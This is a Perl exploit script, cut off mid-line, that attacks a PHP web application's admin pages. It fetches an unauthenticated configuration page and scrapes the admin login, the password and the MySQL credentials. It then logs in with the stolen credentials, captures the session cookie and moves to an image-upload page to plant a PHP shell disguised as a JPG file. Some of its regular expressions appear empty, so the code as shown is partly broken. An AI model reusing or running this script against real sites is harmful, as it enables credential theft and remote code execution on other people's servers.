#!/usr/bin/env perl use strict; use warnings; ############################################### use LWP::UserAgent; use HTTP::Request::Common; use Getopt::Std; my (%args, $user, $password, $sql_host, $sql_user, $sql_password, $cookie, $path, $file, $upload) = (); my $tmp = 'cmd1.jpg'; getopts("u:a:f:p:", \%args); ####################################################################### # -a don't retrieve login and passwords, use from command line instead# # -u vuln url # # -f local php-shell # # -p http proxy # ####################################################################### if(!$args{u}) { &usage(); exit(0);} if(defined $args{a}){ ($user,$password) = split(':',$args{a}); } if(!$args{a}){ my $ua= new LWP::UserAgent; $ua->agent("Mozilla/5.0"); if(defined $args{p}){$ua->proxy('http', "http://$args{p}");} $ua->max_redirect(0); $args{u} =~ s%/$%%i; my $request = new HTTP::Request( 'GET' => "$args{u}"."/admin/admin_configuration.php"); my $document = $ua->request($request); my $response = $document->as_string; $response =~ m%%is; $user = $1; $response =~ m%%is; $password = $1; $response =~ m%%is; $sql_host = $1; $response =~ m%%is; $sql_user = $1; $response =~ m%%is; $sql_password = $1; print("########################################################################\n"); if(defined $user && defined $password){ print "#Admin Panel: $user\t$password \n"; print("########################################################################\n"); print "#Mysql Details: $sql_host\t$sql_user\t$sql_password \n"; }else{ print "#Failed... #\n"; exit(0); } } goto _EXIT_ unless defined $args{f}; my $ua= new LWP::UserAgent; $ua->agent("Mozilla/5.0"); if(defined $args{p}){$ua->proxy('http', "http://$args{p}");} $args{u} =~ s%/$%%i; my $request = HTTP::Request::Common::POST( "$args{u}/admin/login_page.php", Content_Type => 'application/x-www-form-urlencoded', Referer => "$args{u}/admin/login_page.php", Content => [ login_adm => "$user", pass_adm => "$password", send => "Enter" ] ); my $document = $ua->request($request); my $response = $document->as_string; if($response =~ m/document\.location\.replace\(\'\.\.\/admin\.php\'\)/i){ print("########################################################################\n"); print "#Login successfull #\n"; $response =~ m%Set-Cookie: (.*?);%is; $cookie = $1; }else{ print("########################################################################\n"); print "#Login failed #\n"; goto _EXIT_; } $ua->default_headers->push_header('Cookie' => "$cookie"); $request = new HTTP::Request( 'GET' => "$args{u}"."/admin/admin_ajouter_img.php"); $document = $ua->request($request); $response = $document->as_string; $response =~ m%